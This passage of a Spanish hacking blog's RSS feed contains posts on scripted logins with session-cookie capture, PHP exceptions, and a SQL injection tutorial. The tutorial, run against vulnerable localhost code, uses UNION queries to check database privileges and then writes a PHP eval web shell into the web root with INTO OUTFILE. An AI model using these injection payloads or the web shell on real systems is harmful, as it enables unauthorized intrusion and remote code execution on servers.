/&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;En este caso, mi objetivo es loguearme (Iniciar session) en una web y aparecer como logueado.&lt;/div&gt;&lt;div&gt;Primero trato de loguearme con datos falsos, para ver como responde la pagina.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;login.php&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSZDubLKWFYFLEkn-xfkriklSc_CP9_x99bv0mtL9Tue8GRvWo2IS9fkQUdFSKttugtNKVOiFnkJgajUdZL4dbdmykVUCN4JyVEREOzsbsI18lfEuzDzyvepaiWxptx_VAW_yW5ueTX1j1/s1600/web.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSZDubLKWFYFLEkn-xfkriklSc_CP9_x99bv0mtL9Tue8GRvWo2IS9fkQUdFSKttugtNKVOiFnkJgajUdZL4dbdmykVUCN4JyVEREOzsbsI18lfEuzDzyvepaiWxptx_VAW_yW5ueTX1j1/s320/web.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584042790783069938" style="cursor: pointer; width: 320px; height: 231px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Miro los headers:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlOvkysaOXQibgZusyQGdDAzTEf1Y3xIpvSbW3TH0jDneru-kKZtKaqh2n02kEYWlwpSlZ8_5sELUuMz_0vwD0n3mSvc0WdxQbePLDhVUfy5bq9WJ4NSzogWInotdWbZcYGYImidqWq7Xk/s1600/falso_http.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlOvkysaOXQibgZusyQGdDAzTEf1Y3xIpvSbW3TH0jDneru-kKZtKaqh2n02kEYWlwpSlZ8_5sELUuMz_0vwD0n3mSvc0WdxQbePLDhVUfy5bq9WJ4NSzogWInotdWbZcYGYImidqWq7Xk/s320/falso_http.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584043290582939186" style="cursor: pointer; width: 320px; height: 215px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Me logueo de nuevo, pero esta vez con los datos verdaderos:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg85rUB6HnRfBoI8HdsVis5O-Kh52hnorYGaGy8_PyOw9kpWHs7mnmMgmUC9Zk53PBjrVi_fhvV83sR_G4muglN4eZR5VSs3LDXoyy25ahPfE4h0QI8NQhTHSGhIoktOBvDUkE6Sf7v3613/s1600/http3.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg85rUB6HnRfBoI8HdsVis5O-Kh52hnorYGaGy8_PyOw9kpWHs7mnmMgmUC9Zk53PBjrVi_fhvV83sR_G4muglN4eZR5VSs3LDXoyy25ahPfE4h0QI8NQhTHSGhIoktOBvDUkE6Sf7v3613/s400/http3.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584051540318082882" style="cursor: pointer; width: 400px; height: 256px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Miro los dos headers y busco una diferencia, para diferenciar si me he logueado correctamente o falso, así para luego tomar decisiones en mi aplicación.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Puedo ver que cuando inicie session con mis datos correcto, el código de respuesta fue &lt;b&gt;&lt;i&gt;302&lt;/i&gt;&lt;/b&gt; y cuando ingrese datos falso el código de repuesta fue &lt;b style="font-style: italic; "&gt;200.&lt;/b&gt; También que al iniciar session correctamente, el servidor me manda una Cookie que es&lt;b style="font-style: italic; "&gt; PHPSESSID&lt;/b&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Al iniciar session correctamente, me redirecciona al index.php&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0bgOMkBhRykKsd6en-1bBkpAaFxSyqIqoeD7VIyr6K5wW1yJAcsufXnh7UtDBF1HG8qMji3H7jTpb5j61S3VWyuXj6OwsI-A8mL0yFQD6NRmajzZTInZ7biH2pGASGDmTRo2r15dEEtkV/s1600/index.true.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0bgOMkBhRykKsd6en-1bBkpAaFxSyqIqoeD7VIyr6K5wW1yJAcsufXnh7UtDBF1HG8qMji3H7jTpb5j61S3VWyuXj6OwsI-A8mL0yFQD6NRmajzZTInZ7biH2pGASGDmTRo2r15dEEtkV/s400/index.true.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584053114408693506" style="cursor: pointer; width: 186px; height: 42px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Paso a crear mi aplicación, que realizara lo siguiente:&lt;/div&gt;&lt;div&gt;Enviar una petición POST al archivo login.php, con la query &lt;i&gt;&lt;b&gt;usuario&lt;/b&gt;&lt;/i&gt; que contendrá el nombre de usuario y la query &lt;i&gt;&lt;b&gt;password&lt;/b&gt;&lt;/i&gt; que contendrá el password. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Luego verifico que los datos sean correctos, si el código de repuesta es 302 es porque los datos han sido correcto y si el código de repuesta es 200 es porque los datos introducidos han sido falso. Si los datos han sido correcto, capturo la Cookie que manda el servidor para luego usarla en las peticiones GET o POST.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bueno aquí la un ejemplo de un pequeño script escrito en Perl&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: perl"&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;use strict;&lt;br /&gt;&lt;br /&gt;#Modulos necesarios&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;use HTTP::Request::Common;&lt;br /&gt;&lt;br /&gt;my $url_login = 'http://127.0.0.1/pruebas/login.php';&lt;br /&gt;&lt;br /&gt;my $usuario  = $ARGV[0];&lt;br /&gt;&lt;br /&gt;my $password = $ARGV[1];&lt;br /&gt;&lt;br /&gt;my $ua = new LWP::UserAgent;&lt;br /&gt;$ua-&amp;gt;agent("Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16");&lt;br /&gt;&lt;br /&gt;my $response = $ua-&amp;gt;request(&lt;br /&gt;POST $url_login, #Realizo la peticion POST&lt;br /&gt;{&lt;br /&gt;usuario =&amp;gt; $usuario,#Le asigno el valor de la variable $usuario a la query usuario&lt;br /&gt;password =&amp;gt; $password,#Le asigno el valor de la variable $password a la query password&lt;br /&gt;});&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Verificos que los datos ingresados sean correcto&lt;br /&gt;#para esto verifico que en el codigo de repuesta&lt;br /&gt;#sea 302&lt;br /&gt;&lt;br /&gt;if($response-&amp;gt;status_line =~ /302/)&lt;br /&gt;{&lt;br /&gt;print "Datos correctosn";&lt;br /&gt;print "Cookie mandada por el servidor -&amp;gt; ".$response-&amp;gt;header('set-cookie')."n";&lt;br /&gt;exit;#Finalizo el script&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#Si ah llegado hasta aqui, es porque los datos no son verdaderos&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;Salida:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOrEAvZN93ZdfOj1wOyCq0s8oZlt3nTAQZ93O1CtpayknwmMliA7ja75LuWrv2G6bWIHgjh1Qou9vtqta8tCiegm89QRANSYKbZvjCA71zvBELHr3lbdV2DbATq01LEmsnsW5U3-yg8wie/s1600/ter.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOrEAvZN93ZdfOj1wOyCq0s8oZlt3nTAQZ93O1CtpayknwmMliA7ja75LuWrv2G6bWIHgjh1Qou9vtqta8tCiegm89QRANSYKbZvjCA71zvBELHr3lbdV2DbATq01LEmsnsW5U3-yg8wie/s400/ter.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584072010517346738" style="cursor: pointer; width: 400px; height: 66px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOrEAvZN93ZdfOj1wOyCq0s8oZlt3nTAQZ93O1CtpayknwmMliA7ja75LuWrv2G6bWIHgjh1Qou9vtqta8tCiegm89QRANSYKbZvjCA71zvBELHr3lbdV2DbATq01LEmsnsW5U3-yg8wie/s1600/ter.png"&gt;&lt;/a&gt;&lt;br /&gt;Otro ejemplo pero usando PHP&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;$url_login = 'http://127.0.0.1/pruebas/login.php';&lt;br /&gt;$usuario  = 'yoya';//Usuario&lt;br /&gt;$password = 'admin';//Password&lt;br /&gt;&lt;br /&gt;$ch = curl_init();&lt;br /&gt;curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16');&lt;br /&gt;curl_setopt($ch, CURLOPT_URL, $url_login);&lt;br /&gt;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;curl_setopt ($ch, CURLOPT_POST, true);&lt;br /&gt;curl_setopt($ch,CURLOPT_HEADER,true);&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;Le asigno el valor de la variable $usuario a la query usuario&lt;br /&gt;Le asigno el valor de la variable $password a la query password&lt;br /&gt;*/&lt;br /&gt;curl_setopt ($ch, CURLOPT_POSTFIELDS, "usuario=".$usuario."&amp;amp;"."password=".$password);&lt;br /&gt;$result = curl_exec($ch);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*Verificos que los datos ingresados sean correcto&lt;br /&gt;para esto verifico que en el codigo de repuesta&lt;br /&gt;sea 302*/&lt;br /&gt;&lt;br /&gt;if(curl_getinfo($ch, CURLINFO_HTTP_CODE) == "302")&lt;br /&gt;{&lt;br /&gt;preg_match("/Set-Cookie:s*([w=]+)[s;n]*/i", $result, $cookie_valor);&lt;br /&gt;&lt;br /&gt;echo "Datos correctos&amp;lt;br&amp;gt;";&lt;br /&gt;echo "Cookie mandada por el servidor -&amp;gt; ".$cookie_valor[1]."&amp;lt;br&amp;gt;";&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;echo "Datos introducidos incorrecto&amp;lt;br&amp;gt;";&lt;br /&gt;exit;&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;Salida:&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDgxcFE4H4K57tcO9JKbLWnN9bwKetk2cC0OcirwF2grclwHd0KAuSoR8Fd0KPUt9dlOgUoFy-Rz22WsvlEbf__fwBNWkEeBU97TnjT2nikx2QRnqDvyGHV_y_f60gtHxgIUT0Ua4xR2GV/s1600/htttpsa.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDgxcFE4H4K57tcO9JKbLWnN9bwKetk2cC0OcirwF2grclwHd0KAuSoR8Fd0KPUt9dlOgUoFy-Rz22WsvlEbf__fwBNWkEeBU97TnjT2nikx2QRnqDvyGHV_y_f60gtHxgIUT0Ua4xR2GV/s400/htttpsa.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5584072320394731650" style="cursor: pointer; width: 400px; height: 64px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Source para practicar:&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;if(!empty($_POST['usuario']) &amp;amp;&amp;amp; !empty($_POST['password']))&lt;br /&gt;{&lt;br /&gt; $usuario  = $_POST['usuario'];&lt;br /&gt; $password = $_POST['password'];&lt;br /&gt;&lt;br /&gt; if($usuario == 'yoya' &amp;amp;&amp;amp; $password == 'admin')&lt;br /&gt; {&lt;br /&gt;    $_SESSION['conectado'] = 1;&lt;br /&gt;    header('Location: index.php');&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;lt;h1&amp;gt;Ingresar&amp;lt;/h1&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form name="login" method="POST" action="login.php"&amp;gt;&lt;br /&gt;&amp;lt;p&amp;gt;Usuario:&amp;lt;br&amp;gt;&amp;lt;input type="text" name="usuario"&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&amp;gt;Password:&amp;lt;br&amp;gt;&amp;lt;input type="password" name="password"&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;p&amp;gt;&amp;lt;input type="submit" value="Enviar"&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Saludos.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC5PQOguOKgzXqtBmmQwLnWsaD83ej39XOrAJjgRps3YgbsGZGBG1yYch80T7o1Qsz8O0atgh3_i3KiLGiFJYe4CJX5KkbUa81r30qU4vFi8xR_K5f-UyF029dqMw59H74iG42fFrhVkjp/s72-c/index.png" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total></item><item><title>Manejo de excepciones en PHP</title><link>http://yoyahack.blogspot.com/2011/03/manejo-de-excepciones-en-php.html</link><category>Nivel web</category><category>php</category><category>programacion</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Thu, 10 Mar 2011 14:29:00 -0800</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-7492550973053027144</guid><description>&lt;div&gt;Buenas, aunque no es muy usado el manejo de excepciones en PHP, tenemos la opción de poder utilizarlo.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bueno aquí un ejemplo:&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: php"&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;function saludo($str = null)//Funcion saludo&lt;br /&gt;{//Inicio&lt;br /&gt;&lt;br /&gt; if(empty($str))//Si la variable $str esta vacia entonce&lt;br /&gt; {&lt;br /&gt;    throw new Exception('Ingresar un parametro');//Lanzamos la excepción&lt;br /&gt;&lt;br /&gt; }//Fin del if&lt;br /&gt;&lt;br /&gt; elseif(is_int($str))//Si la variable $str contiene solo numeros enteros&lt;br /&gt; {                   //Entonces ....&lt;br /&gt; throw new Exception('No se permite numeros enteros');&lt;br /&gt; }//Fin del elseif&lt;br /&gt;&lt;br /&gt; else{ //Sino&lt;br /&gt; return $str;&lt;br /&gt; }//Fin del else&lt;br /&gt;}//Fin de la funcion&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;try{&lt;br /&gt; saludo("Hola mundo\n");&lt;br /&gt; saludo(2);&lt;br /&gt;&lt;br /&gt;} catch (Exception $e) {&lt;br /&gt; echo $e-&amp;gt;getMessage();//Mostramo el mensaje de la excepcion&lt;br /&gt; print_r($e);&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bueno, tenemos la función &lt;i&gt;&lt;b&gt;saludo()&lt;/b&gt;&lt;/i&gt; que recibe un parámetro, si no le mandamos un parámetro a la función &lt;i&gt;&lt;b&gt;saludo()&lt;/b&gt;&lt;/i&gt;, esta función lanza una excepción . &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Si le mandamos solo números enteros como parámetros a la función saludo(), esta lanza una excepción.&lt;/div&gt;&lt;div&gt;Si todo esta bien, la función &lt;i style="font-weight: bold; "&gt;saludo() &lt;/i&gt;retorna el valor de la variable &lt;b style="font-style: italic; "&gt;$str &lt;/b&gt;que es la variable que contiene el valor que le pasamos como parámetro a la función &lt;i&gt;&lt;b&gt;saludo()&lt;/b&gt;&lt;/i&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Salida:&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: php"&gt;Hola mundo&lt;br /&gt;Exception Object&lt;br /&gt;(&lt;br /&gt;   [message:protected] =&amp;gt; No se permite numeros enteros&lt;br /&gt;   [string:Exception:private] =&amp;gt;&lt;br /&gt;   [code:protected] =&amp;gt; 0&lt;br /&gt;   [file:protected] =&amp;gt; /var/www/html/pruebas.php&lt;br /&gt;   [line:protected] =&amp;gt; 14&lt;br /&gt;   [trace:Exception:private] =&amp;gt; Array&lt;br /&gt;       (&lt;br /&gt;           [0] =&amp;gt; Array&lt;br /&gt;               (&lt;br /&gt;                   [file] =&amp;gt; /var/www/html/pruebas.php&lt;br /&gt;                   [line] =&amp;gt; 25&lt;br /&gt;                   [function] =&amp;gt; saludo&lt;br /&gt;                   [args] =&amp;gt; Array&lt;br /&gt;                       (&lt;br /&gt;                           [0] =&amp;gt; 2&lt;br /&gt;                       )&lt;br /&gt;&lt;br /&gt;               )&lt;br /&gt;&lt;br /&gt;       )&lt;br /&gt;&lt;br /&gt;   [previous:Exception:private] =&amp;gt;&lt;br /&gt;)&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Saludos.&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Explicación de INTO OUTFILE en una Inyección SQL</title><link>http://yoyahack.blogspot.com/2010/10/explicacion-de-into-outfile-en-una.html</link><category>MYSQL</category><category>Nivel web</category><category>php</category><category>vurnerabilidad</category><author>noreply@blogger.com (yoyahack)</author><pubDate>Sun, 31 Oct 2010 20:07:00 -0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6263237614738679088.post-7627068482339319188</guid><description>Buenas, muchas veces la personas no saben usar correctamente  o no saben como funciona el comando &lt;span style="font-style:italic;"&gt;INTO OUTFILE&lt;/span&gt; en &lt;a href="http://www.mysql.com/"&gt;MYSQL&lt;/a&gt;...&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bueno tengo este código PHP vulnerable&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: php"&gt;&lt;br /&gt;&amp;lt;?php&lt;br /&gt;$link = mysql_connect('127.0.0.1','root', 'pass');&lt;br /&gt;mysql_select_db('ejemplo', $link);&lt;br /&gt;&lt;br /&gt;$sql = mysql_query('select * from ejemplo where id='.$_GET['id'], $link);&lt;br /&gt;if(mysql_errno($link))&lt;br /&gt;{&lt;br /&gt;echo mysql_error($link);&lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;while($row = mysql_fetch_assoc($sql))&lt;br /&gt;{&lt;br /&gt;echo $row['id']."&amp;lt;br&amp;gt;".$row['titulo']."&amp;lt;br&amp;gt;".$row['contenido']."&amp;lt;br&amp;gt;".$row['parent'];&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;La estructura de la tabla ejemplo, es la siguiente:&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: sql"&gt;mysql&amp;gt; describe ejemplo;&lt;br /&gt;+-----------+-----------+------+-----+---------+----------------+&lt;br /&gt;| Field     | Type      | Null | Key | Default | Extra          |&lt;br /&gt;+-----------+-----------+------+-----+---------+----------------+&lt;br /&gt;| id        | int(11)   | NO   | PRI | NULL    | auto_increment |&lt;br /&gt;| titulo    | char(20)  | NO   |     | NULL    |                |&lt;br /&gt;| contenido | char(255) | NO   |     | NULL    |                |&lt;br /&gt;| parent    | char(50)  | NO   |     | NULL    |                |&lt;br /&gt;+-----------+-----------+------+-----+---------+----------------+&lt;br /&gt;4 rows in set (0.00 sec)&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Bueno el código PHP es vulnerable ya que no filtra correctamente el input &lt;i&gt;id&lt;/i&gt; que se envía vía GET y por lo tanto podemos manipular la consulta SQL. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;El siguiente paso seria saber el user y el host de la conexión MYSQL que se esta usando, podemos usar el comando user()... Para esto vamos a usar el comando &lt;i&gt;UNION ALL,&lt;/i&gt; para combinar las consultas, teniendo en cuenta que debemos tener el mismo numero de columna que el SELECT anterior. Bueno como el primer SELECT hace la consulta a todos los campos de la Tabla ejemplo y la tabla ejemplo tiene 4 columnas, pasaremos a hacer la consulta SQL:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: sql"&gt;mysql&amp;gt; select * from ejemplo where id=1 union all select 1,2,3,4;&lt;br /&gt;+----+---------+--------------------+--------+&lt;br /&gt;| id | titulo  | contenido          | parent |&lt;br /&gt;+----+---------+--------------------+--------+&lt;br /&gt;|  1 | saludar | Ejemplo de saludar | -      |&lt;br /&gt;|  1 | 2       | 3                  | 4      |&lt;br /&gt;+----+---------+--------------------+--------+&lt;/pre&gt;&lt;/div&gt;La petición GET:&lt;div&gt;&lt;pre&gt;http://127.0.0.1/pruebas.php?id=2 union all select 1,2,3,4&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;Bueno usamos user() para saber el actual usuario y el host.&lt;/div&gt;&lt;div&gt;&lt;pre class="brush: sql"&gt;mysql&amp;gt; select * from ejemplo where id=1 union all select user(),2,3,4;&lt;br /&gt;+----------------+---------+--------------------+--------+&lt;br /&gt;| id             | titulo  | contenido          | parent |&lt;br /&gt;+----------------+---------+--------------------+--------+&lt;br /&gt;| 1              | saludar | Ejemplo de saludar | -      |&lt;br /&gt;| root@localhost | 2       | 3                  | 4      |&lt;br /&gt;+----------------+---------+--------------------+--------+&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;La petición GET:&lt;/div&gt;&lt;div&gt;&lt;pre&gt;http://127.0.0.1/pruebas.php?id=2 union all select user(),2,3,4&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Salida: &lt;i&gt;&lt;b&gt;root@localhost&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Bueno ahora nos toca saber si el usuario el usuario tienes permiso FILE.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;i&gt;&lt;b&gt;Nota: &lt;/b&gt;El permiso FILE permite al usuario usar los comandos into outfile y load_file().&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;pre class="brush: sql"&gt;&lt;br /&gt;mysql&amp;gt; select * from ejemplo where id=1 union all select user,host,3,4 from mysql.user where File_priv = 'Y' &amp;amp;&amp;amp; user='root' &amp;amp;&amp;amp; host='localhost';&lt;br /&gt;+--------------------------------------------------+-----------+--------------------+--------+&lt;br /&gt;| id                                               | titulo    | contenido          | parent |&lt;br /&gt;+--------------------------------------------------+-----------+--------------------+--------+&lt;br /&gt;| 1                                                | saludar   | Ejemplo de saludar | -      |&lt;br /&gt;| root                                             | localhost | 3                  | 4      |&lt;br /&gt;+--------------------------------------------------+-----------+--------------------+--------+&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;La petición GET:&lt;/div&gt;&lt;div&gt;&lt;pre&gt;http://127.0.0.1/pruebas.php?id=2 union all select user,host,3,4 from mysql.user where File_priv = 'Y' &amp;amp;&amp;amp; user='root' &amp;amp;&amp;amp; host='localhost';&lt;/pre&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;salida: &lt;b&gt;root&lt;/b&gt;&lt;i&gt;localhost&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;Bueno como el usuario tiene permiso FILE podemos usar el comando load_file() y into outfile. El primer paso para seria saber el DocumentRoot que es donde se encuentran los documentos web, para saber la direccion del DocumentRoot podemos trata de probocar un Full Path Disclosure (FPD), leer el archivo de configuración de Apache usando load_file... &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;Mi DocumentRoot se encuentra en &lt;i style="font-weight: bold; "&gt;/var/www/html&lt;/i&gt;. Debemos tener en cuenta que para utilizar into outfile la directiva Magic_quotes_gpc del php no este &lt;b&gt;activada&lt;/b&gt;, esta directiva escapa las comillas simples y dobles que viajan vía GET, POST y como COOKIE y que el directorio tenga permiso de escritura. Debemos indicar donde queremos guardar el archivo cuando usamos el comando &lt;i&gt;INTO OUTFILE&lt;/i&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;Bueno realizare la siguiente petición GET:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;pre&gt;http://127.0.0.1/pruebas.php?id=2 union all select "&amp;lt;?php @eval($_GET['exec']); ?&amp;gt;",2,3,4 into outfile "/var/www/html/exec.php"&lt;/pre&gt;&lt;div&gt;Bueno, ahora pasamos a ejecutar el archivo &lt;i&gt;exec.php&lt;/i&gt; pasando la query exec para que se ejecute la función &lt;i&gt;&lt;a href="http://php.net/manual/es/function.eval.php"&gt;eval&lt;/a&gt;.&lt;/i&gt;&lt;/div&gt;&lt;div&gt;Luego ejecutamos el archivo exec.php pasandole el valor a la query exec phpinfo(), que nos sirve para mostrarnos la configuración de PHP.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;http://127.0.0.1/exec.php?exec=phpinfo();&lt;/pre&gt;&lt;pre&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzP4enTeRWVDMR9D_extzRXBQbImnoD23-tk-wkoZMkLLIZmUI0ylvtghiVL1M434VQWi4BWg3_0GRSUaXyPU57mmtq5V4qoJv29FYsKul6PxJF1kjD6T3v9zHNhH1BUTJvEEeX2HtKwQI/s1600/img.png"&gt;&lt;img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzP4enTeRWVDMR9D_extzRXBQbImnoD23-tk-wkoZMkLLIZmUI0ylvtghiVL1M434VQWi4BWg3_0GRSUaXyPU57mmtq5V4qoJv29FYsKul6PxJF1kjD6T3v9zHNhH1BUTJvEEeX2HtKwQI/s320/img.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5534666178181944306" style="cursor: pointer; width: 320px; height: 72px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Saludos.&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzP4enTeRWVDMR9D_extzRXBQbImnoD23-tk-wkoZMkLLIZmUI0ylvtghiVL1M434VQWi4BWg3_0GRSUaXyPU57mmtq5V4qoJv29FYsKul6PxJF1kjD6T3v9zHNhH1BUTJvEEeX2HtKwQI/s72-c/img.png" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total></item><item><title>Passive Group - Expresiones 